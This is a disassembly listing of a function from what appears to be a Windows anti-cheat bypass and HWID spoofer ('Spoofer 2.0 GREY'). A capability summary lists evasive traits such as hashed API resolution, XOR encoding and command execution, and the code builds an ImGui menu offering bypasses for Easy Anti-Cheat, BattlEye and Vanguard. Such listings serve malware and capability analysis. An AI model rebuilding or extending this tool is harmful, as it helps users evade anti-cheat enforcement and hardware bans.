Function at 0x140052b90
Capabilities:
Access peb ldr_data
Check if file exists
Create directory
Create process on windows
Create thread
Delete file
Encode data using xor
Execute command
Get file attributes
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x6e8]
sub rsp, 0x7e8
mov ecx, 8
call fcn.1400c899c
lea rcx, [0x140050c10]
xor r13d, r13d
mov r9, rax
lea r8, [0x14003aca0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x140057e30
mov qword [rsp + 0x7e0], r12
cmp dword [rbp + 0x38], r13d
je 0x140057e24
movaps xmm0, xmmword [rbp + 0x30]
lea rcx, [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140057e24
xorps xmm0, xmm0
mov ecx, 8
movdqa xmmword [rbp + 0x30], xmm0
call fcn.1400c899c
lea rcx, [0x14003aa60]
mov r9, rax
lea r8, [0x14003aca0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x140057e14
cmp dword [rbp + 0x38], r13d
je 0x140057e08
movaps xmm0, xmmword [rbp + 0x30]
lea rcx, [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140057e08
mov qword [rsp + 0x800], rbx
lea rax, [0x140057e40]
mov qword [rsp + 0x808], rsi
xorps xmm0, xmm0
mov qword [rsp + 0x810], rdi
mov edx, 0x7f00
mov qword [rsp + 0x7d8], r14
xor ecx, ecx
movaps xmmword [rsp + 0x760], xmm12
movdqa xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x2f0], 0x50
mov dword [rbp + 0x2f4], 0x40
mov qword [rbp + 0x2f8], rax
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], r13
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x310], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea r14, [0x1400f9c30]
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x318], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x330], r14
xor ecx, ecx
mov qword [rbp + 0x328], rax
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0x338], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x140314c64]
mov r12d, 1
mov ecx, r12d
cvttss2si esi, dword [0x140314c60]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140314c64]
xor ecx, ecx
movss xmm12, dword [0x1400fb86c]
cdq
sub eax, edx
mulss xmm0, xmm12
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140314c60]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r13
cdq
mov qword [rsp + 0x50], r13
sub eax, edx
mov rdx, qword [rbp + 0x330]
mov r8, r14
mov qword [rsp + 0x48], r13
xor ecx, ecx
mov qword [rsp + 0x40], r13
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm12
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x1403159c8], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov rcx, qword [0x1403159c8]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov rcx, qword [0x1403159c8]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400fb9e0]
lea rdx, [rbp + 0x550]
mov rcx, qword [0x1403159c8]
movdqu xmmword [rbp + 0x550], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1403159c8]
lea rdx, [0x1403159f0]
xorps xmm0, xmm0
movups xmmword [0x1403159f0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x1403159c8]
mov ecx, 0x20
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140316048], rax
mov rcx, rax
test rax, rax
je 0x140057db7
lea rdx, [0x140316060]
mov qword [0x140316070], r13
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x140316070]
mov qword [0x14031607c], r13
mov qword [rsp + 0x28], rdx
mov r8d, r12d
mov dword [0x140316084], r13d
xor edx, edx
mov qword [0x14031608c], r13
mov dword [0x140316094], r13d
mov qword [0x1403160a4], r13
mov dword [0x140316098], r12d
mov dword [0x140316088], r12d
mov dword [0x140316078], r13d
mov dword [0x14031609c], r12d
mov dword [0x1403160a0], 0x50
mov dword [0x1403160ac], r12d
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x140057db0
mov rcx, qword [0x1403159c8]
mov edx, 0xa
mov qword [rsp + 0x7d0], r15
movaps xmmword [rsp + 0x7c0], xmm6
movaps xmmword [rsp + 0x7b0], xmm7
movaps xmmword [rsp + 0x7a0], xmm8
movaps xmmword [rsp + 0x790], xmm9
movaps xmmword [rsp + 0x780], xmm10
movaps xmmword [rsp + 0x770], xmm11
movaps xmmword [rsp + 0x750], xmm13
movaps xmmword [rsp + 0x740], xmm14
movaps xmmword [rsp + 0x730], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1403159c8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdx, qword [0x1403159a0]
mov ecx, 0x61c8
mov rdi, qword [0x1403159b0]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, qword [0x1403159b0]
mov r9, rax
test r8, r8
je 0x14005303b
movsx rax, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r10d, dword [r8 + 0x3f90]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x140053030
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], r13d
inc word [rdx + 4]
inc dword [r8 + 0x6070]
test r9, r9
je 0x14005304c
xor edx, edx
mov rcx, r9
call fcn.140002970
jmp 0x14005304f
mov rax, r13
mov qword [0x1403159b0], rax
call fcn.140007300
test rdi, rdi
je 0x140053069
mov qword [0x1403159b0], rdi
jmp 0x140053070
mov rdi, qword [0x1403159b0]
test rdi, rdi
jne 0x140053096
mov r8d, 0x10d9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x1403159b0]
or dword [rdi + 8], 3
xor ecx, ecx
call fcn.1400225a0
mov rcx, qword [0x1403159c8]
call fcn.140038530
mov rbx, qword [0x1403159b0]
mov rsi, qword [0x140316060]
test rbx, rbx
jne 0x1400530e1
mov r8d, 0x10d9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403159b0]
cmp qword [rbx + 0x98], r13
je 0x140053104
mov r8d, 0x11f
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREY_backendsimgui_impl_dx9.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [0x1403159a0]
mov ecx, 0x28
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r9, qword [0x1403159b0]
mov r8, rax
test r9, r9
je 0x140053184
movsx rdx, word [r9 + 0x6078]
lea rax, [r9 + 0x607c]
mov r10d, dword [r9 + 0x3f90]
lea rax, [rax + rdx*8]
cmp dword [rax], r10d
je 0x140053179
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r9 + 0x6078], cx
movsx rax, cx
lea rax, [rax*8 + 0x607c]
add rax, r9
mov dword [rax], r10d
mov dword [rax + 4], r13d
inc word [rax + 4]
inc dword [r9 + 0x6070]
test r8, r8
je 0x1400531aa
mov qword [r8], r13
mov qword [r8 + 8], r13
mov qword [r8 + 0x10], r13
mov qword [r8 + 0x18], r13
mov dword [r8 + 0x20], 0x1388
mov dword [r8 + 0x24], 0x2710
jmp 0x1400531ad
mov r8, r13
or dword [rbx + 0xc], 8
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0x88], rax
mov rcx, rsi
mov qword [rbx + 0x98], r8
mov qword [r8], rsi
mov rax, qword [rsi]
call qword [rax + VariantCopy]
mov rbx, qword [rdi + 0x38]
xorps xmm6, xmm6
movups xmmword [rbp + 0x5c0], xmm6
mov eax, 0xffff
mov dword [rbp + 0x5c0], 0x3f800000
movups xmmword [rbp + 0x580], xmm6
mov dword [rbp + 0x588], 2
movups xmmword [rbp + 0x5b0], xmm6
mov dword [rbp + 0x58c], r12d
movups xmmword [rbp + 0x570], xmm6
mov byte [rbp + 0x57c], r12b
mov dword [rbp + 0x5b4], 0x7f7fffff
mov dword [rbp + 0x5c4], 0x3f800000
mov word [rbp + 0x5c8], ax
mov dword [rbp + 0x5bc], 0x30c
cmp byte [rbx + 0x18], r13b
je 0x140053261
mov r8d, 0xbc7
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm8, xmmword [rbp + 0x570]
movaps xmm9, xmmword [rbp + 0x580]
movq r15, xmm8
movaps xmm10, xmmword [rbp + 0x5b0]
movaps xmm11, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x340], xmm8
movaps xmmword [rbp + 0x350], xmm9
movaps xmmword [rbp + 0x360], xmm6
movaps xmmword [rbp + 0x370], xmm6
movaps xmmword [rbp + 0x380], xmm10
movaps xmmword [rbp + 0x390], xmm11
movaps xmmword [rbp + 0x3a0], xmm6
movaps xmmword [rbp + 0x3b0], xmm6
movaps xmmword [rbp + 0x3c0], xmm6
test r15, r15
je 0x1400532e8
mov r8d, 0xbc9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r14, [0x1401dc1d0]
mov dword [rbp + 0x348], 0x133ec
lea rsi, [0x1400f5100]
mov qword [rbp + 0x340], r14
lea rdx, [rbp + 0x340]
mov qword [rbp + 0x378], rsi
mov rcx, rbx
mov dword [rbp + 0x354], 0x41600000
call fcn.140028320
mov rbx, qword [rdi + 0x38]
cmp byte [rbx + 0x18], r13b
je 0x14005334b
mov r8d, 0xbc7
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x340], xmm8
movaps xmmword [rbp + 0x350], xmm9
movaps xmmword [rbp + 0x360], xmm6
movaps xmmword [rbp + 0x370], xmm6
movaps xmmword [rbp + 0x380], xmm10
movaps xmmword [rbp + 0x390], xmm11
movaps xmmword [rbp + 0x3a0], xmm6
movaps xmmword [rbp + 0x3b0], xmm6
movaps xmmword [rbp + 0x3c0], xmm6
test r15, r15
je 0x1400533ad
mov r8d, 0xbc9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14029b560]
mov dword [rbp + 0x348], 0x1329c
lea rdx, [rbp + 0x340]
mov qword [rbp + 0x340], rax
mov rcx, rbx
mov dword [rbp + 0x354], 0x41600000
mov qword [rbp + 0x378], rsi
call fcn.140028320
mov rbx, qword [rdi + 0x38]
mov qword [0x1403160d0], rax
cmp byte [rbx + 0x18], r13b
je 0x140053410
mov r8d, 0xbc7
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x340], xmm8
movaps xmmword [rbp + 0x350], xmm9
movaps xmmword [rbp + 0x360], xmm6
movaps xmmword [rbp + 0x370], xmm6
movaps xmmword [rbp + 0x380], xmm10
movaps xmmword [rbp + 0x390], xmm11
movaps xmmword [rbp + 0x3a0], xmm6
movaps xmmword [rbp + 0x3b0], xmm6
movaps xmmword [rbp + 0x3c0], xmm6
test r15, r15
je 0x140053472
mov r8d, 0xbc9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp + 0x340]
mov qword [rbp + 0x340], r14
mov rcx, rbx
mov dword [rbp + 0x348], 0x133ec
mov dword [rbp + 0x354], 0x41500000
mov qword [rbp + 0x378], rsi
call fcn.140028320
mov qword [0x1403160b8], rax
lea rsi, [0x140316420]
mov ebx, 0xe
lea r13, [0x1400f5100]
xorps xmm13, xmm13
lea r12, [0x140314300]
nop dword [rax + rax]
mov r14, qword [rdi + 0x38]
movd xmm7, ebx
cvtdq2ps xmm7, xmm7
cmp byte [r14 + 0x18], 0
je 0x1400534fc
mov r8d, 0xbc7
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x340], xmm8
movaps xmmword [rbp + 0x350], xmm9
movaps xmmword [rbp + 0x360], xmm6
movaps xmmword [rbp + 0x370], xmm6
movaps xmmword [rbp + 0x380], xmm10
movaps xmmword [rbp + 0x390], xmm11
movaps xmmword [rbp + 0x3a0], xmm6
movaps xmmword [rbp + 0x3b0], xmm6
movaps xmmword [rbp + 0x3c0], xmm6
test r15, r15
je 0x14005355e
mov r8d, 0xbc9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
comiss xmm7, xmm13
mov qword [rbp + 0x340], r12
mov dword [rbp + 0x348], 0x8d0
jbe 0x14005357d
movss dword [rbp + 0x354], xmm7
lea rdx, [rbp + 0x340]
mov qword [rbp + 0x378], r13
mov rcx, r14
call fcn.140028320
mov qword [rsi], rax
inc ebx
add rsi, 8
cmp ebx, 0x28
jle 0x1400534d0
cmp qword [0x1403159e0], 0
mov r12d, 1
mov r13d, 0
jne 0x140053625
mov rcx, qword [0x140316060]
lea rax, [0x1403159e0]
mov qword [rsp + 0x70], rax
lea rdx, [0x140257410]
mov qword [rsp + 0x68], r13
mov r9d, 0x780
mov qword [rsp + 0x60], r13
mov r8d, 0x3b9bc
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x438
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1403159e8], r13
jne 0x140053698
mov rcx, qword [0x140316060]
lea rax, [0x1403159e8]
mov qword [rsp + 0x70], rax
lea rdx, [0x140314040]
mov qword [rsp + 0x68], r13
mov r9d, 0x2c
mov qword [rsp + 0x60], r13
mov r8d, 0x294
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x2c
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1403159d0], r13
jne 0x14005370b
mov rcx, qword [0x140316060]
lea rax, [0x1403159d0]
mov qword [rsp + 0x70], rax
lea rdx, [0x14019a080]
mov qword [rsp + 0x68], r13
mov r9d, 0x2c
mov qword [rsp + 0x60], r13
mov r8d, 0x4f83
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x2c
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1403159d8], r13
jne 0x14005377e
mov rcx, qword [0x140316060]
lea rax, [0x1403159d8]
mov qword [rsp + 0x70], rax
lea rdx, [0x14019f010]
mov qword [rsp + 0x68], r13
mov r9d, 0x2c
mov qword [rsp + 0x60], r13
mov r8d, 0x410e
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x2c
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
movss xmm11, dword [0x1400fb9b4]
xor r15b, r15b
movss xmm8, dword [0x1400fb980]
movss xmm14, dword [0x1400fb92c]
movss xmm10, dword [0x1400fb89c]
movss xmm15, dword [0x1400fb914]
movss xmm9, dword [0x1400fb8d4]
movss xmm7, dword [0x1400fb8a4]
nop
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x600]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140053830
nop
lea rcx, [rbp + 0x600]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x600]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x608], 0x12
lea rcx, [rbp + 0x600]
movzx r15d, r15b
cmove r15d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x1400537e0
test r15b, r15b
jne 0x1400569c8
mov ecx, dword [0x140316050]
test ecx, ecx
je 0x1400538c1
mov eax, dword [0x140316058]
test eax, eax
je 0x1400538c1
mov dword [0x140316070], ecx
mov dword [0x140316074], eax
mov dword [0x140316058], r13d
mov dword [0x140316050], r13d
call fcn.140038480
mov rcx, qword [0x140316060]
lea rdx, [0x140316070]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005389f
mov r8d, 0x812
lea rdx, [0x1400faa00]
lea rcx, [0x1400ea010]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1403159b0]
test rax, rax
je 0x1400538db
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x1400538c8
cmp qword [rcx], r13
je 0x1400538c8
call fcn.140038210
mov rax, qword [0x1403159b0]
test rax, rax
je 0x1400538db
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x1400538ff
jmp 0x1400538de
mov rbx, r13
mov r8d, 0x17c
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREY_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX9_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1403159b0]
cmp qword [rbx + 0x18], r13
jne 0x140053920
test rax, rax
je 0x140053920
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x140053920
cmp qword [rcx], r13
je 0x140053920
call fcn.140038210
call fcn.140039340
call fcn.14000a090
mov r14, qword [0x1403159b0]
movss xmm0, dword [0x140314c60]
movss xmm1, dword [0x140314c64]
mov qword [r14 + 0x49f8], r13
mov qword [r14 + 0x4a00], r13
mov dword [r14 + 0x49ec], r12d
or dword [r14 + 0x49e8], 3
movss dword [r14 + 0x4a08], xmm0
movss dword [r14 + 0x4a0c], xmm1
mov dword [r14 + 0x49f0], r12d
test r14, r14
jne 0x14005399d
mov r8d, 0xbf0
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r14, qword [0x1403159b0]
xor edx, edx
mov qword [r14 + 0x38f8], r13
mov r8d, 0x2b
mov qword [r14 + 0x393c], r13
lea rcx, str.IMGUI
mov dword [r14 + 0x3904], r13d
mov dword [r14 + 0x3964], 0x40e00000
call fcn.14000fe60
mov rbx, qword [0x1403159b0]
mov rax, qword [rbx + 0x4038]
movsd xmm0, qword [rax + 0x28]
movsd qword [rbp + 0x20], xmm0
cmp dword [rbx + 0x4af8], r13d
jg 0x140053a0c
mov r8d, 0x766
lea rdx, [0x1400e9e20]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140009690
movdqa xmm0, xmmword [0x1400fbc10]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
mov rbx, rax
call fcn.1400052c0
movsd xmm0, qword [0x140314c60]
mov edi, eax
movsd qword [rbp - 0x80], xmm0
mov dword [rbp + 0x1b0], 0x3f800000
mov dword [rbp + 0x1b4], 0x3f800000
mov qword [rbp + 0x1b8], r13
mov qword [rbp + 0x1c0], r13
test eax, 0xff000000
je 0x140053b21
mov rdx, qword [0x1403159e0]
cmp rdx, qword [rbx + 0x98]
setne sil
je 0x140053a94
mov rcx, rbx
call fcn.1400230f0
mov edx, 6
mov r8d, 4
mov rcx, rbx
call fcn.140023170
lea rax, [rbp + 0x1b0]
mov dword [rsp + 0x28], edi
lea r9, [rbp + 0x1b8]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov rcx, rbx
lea rdx, [rbp + 0x1c0]
call fcn.1400232b0
test sil, sil
je 0x140053b21
cmp dword [rbx + 0x68], r13d
jg 0x140053af6
mov r8d, 0x77c
lea rdx, [0x1400e9e20]
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x140053b09
mov rax, r13
jmp 0x140053b12
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140022e80
mov eax, dword [0x1403160ec]
cmp dword [0x1403159c4], eax
jne 0x140053b34
movaps xmm6, xmm7
jmp 0x140053b38
movaps xmm6, xmm11
cmp qword [0x1403159b0], r13
jne 0x140053b5b
mov r8d, 0x10d9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1403159b0]
movss xmm0, dword [rax + 0x18]
mulss xmm0, xmm9
mulss xmm0, xmm6
addss xmm0, dword [0x1403160f4]
comiss xmm13, xmm0
jbe 0x140053b84
movaps xmm1, xmm13
jmp 0x140053b8b
movaps xmm1, xmm7
minss xmm1, xmm0
ucomiss xmm1, xmm13
movss dword [0x1403160f4], xmm1
jp 0x140053bf1
jne 0x140053bf1
movss xmm0, dword [0x140316290]
ucomiss xmm0, xmm13
jp 0x140053bf1
jne 0x140053bf1
movss xmm0, dword [0x140315a00]
movaps xmm2, xmm8
movss xmm3, dword [0x1400fb940]
addss xmm0, xmm7
movss dword [0x140315a00], xmm0
call fcn.14004f580
movss xmm0, dword [0x140315a00]
comiss xmm0, xmm8
jbe 0x140053bf1
mov eax, dword [0x1403159c4]
mov dword [0x1403160ec], eax
mov dword [0x140315a00], r13d
mov rbx, qword [0x1403159b0]
lea rdx, [rbp + 0x30]
movss xmm6, dword [0x1403160f4]
mulss xmm6, dword [r14 + 0x38f0]
mov dword [rbp + 0x30], r13d
movss xmm0, dword [rbx + 0x38f0]
lea rcx, [rbx + 0x4a70]
movss dword [rbp + 0x34], xmm0
call fcn.140020550
mov ecx, dword [0x1403160ec]
movss dword [rbx + 0x38f0], xmm6
test ecx, ecx
jne 0x14005497c
movss xmm0, dword [0x140314c60]
lea r8, [rbp + 0x1c8]
mulss xmm0, xmm12
lea rdx, [rbp + 0x1d0]
xor r9d, r9d
mov dword [rbp + 0x1c8], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x1cc], 0x41200000
movss dword [rbp + 0x1d0], xmm0
movss xmm0, dword [0x140314c64]
movss dword [rbp + 0x1d4], xmm0
call fcn.14002cfb0
mov rcx, qword [0x1403159b0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x140053cbd
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x140053cc4
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_EAC_BE_UAC
subss xmm1, dword [rax + 0x28]
cmp dword [0x1403160cc], r13d
lea r8, str.Fortnite
movss xmm6, dword [0x1400fb950]
movaps xmm0, xmm14
mov rcx, qword [0x1403159d8]
sete dl
unpcklps xmm0, xmm14
subss xmm1, dword [r14 + 0x38f8]
mov dword [rsp + 0x38], r13d
movsd qword [rsp + 0x30], xmm0
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002d7c0
test al, al
je 0x140053d2d
mov edx, r13d
mov dword [0x1403160cc], edx
jmp 0x140053d33
mov edx, dword [0x1403160cc]
mov rcx, qword [0x1403159b0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x140053d5a
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x140053d61
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_VAN
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x1403159e8]
lea r8, str.Valorant
movaps xmm0, xmm14
mov dword [rsp + 0x38], r13d
cmp edx, r12d
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002d7c0
test al, al
je 0x140053dbe
mov edx, r12d
mov dword [0x1403160cc], edx
jmp 0x140053dc4
mov edx, dword [0x1403160cc]
mov rcx, qword [0x1403159b0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x140053deb
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x140053df2
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_Global_and_HWID
subss xmm1, dword [rax + 0x28]
